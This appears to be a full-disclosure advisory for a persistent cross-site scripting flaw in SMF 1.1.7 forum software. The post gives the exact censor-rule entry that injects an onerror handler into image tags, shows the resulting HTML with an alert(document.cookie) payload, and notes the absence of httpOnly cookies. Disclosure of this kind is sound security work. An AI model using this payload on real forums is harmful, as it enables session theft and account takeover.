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SMF 1.1.7 Persistent XSS (requires permision to edit censor)

SMF 1.1.7 (simplemachines.org) XSS


If you can modify the censor on a SMF forum, then you can make it
execute arbitrary JS code.

Just add the following entry:
http://www.test.xss/ => http://www.test-xss/"; onerror="alert(document.cookie)

And then write a post, modify your signature, or send a PM with the code:

And the HTML code generated will be..
<img src="http://www.test-xss/"; onerror="alert(document.cookie)"
alt="" border="0" />

 - SMF is not using httpOnly cookies.
 - I'm going full disclosure with this because I've had bad
experiences with the SMF team when reporting vulnerabilities..

-- Eduardo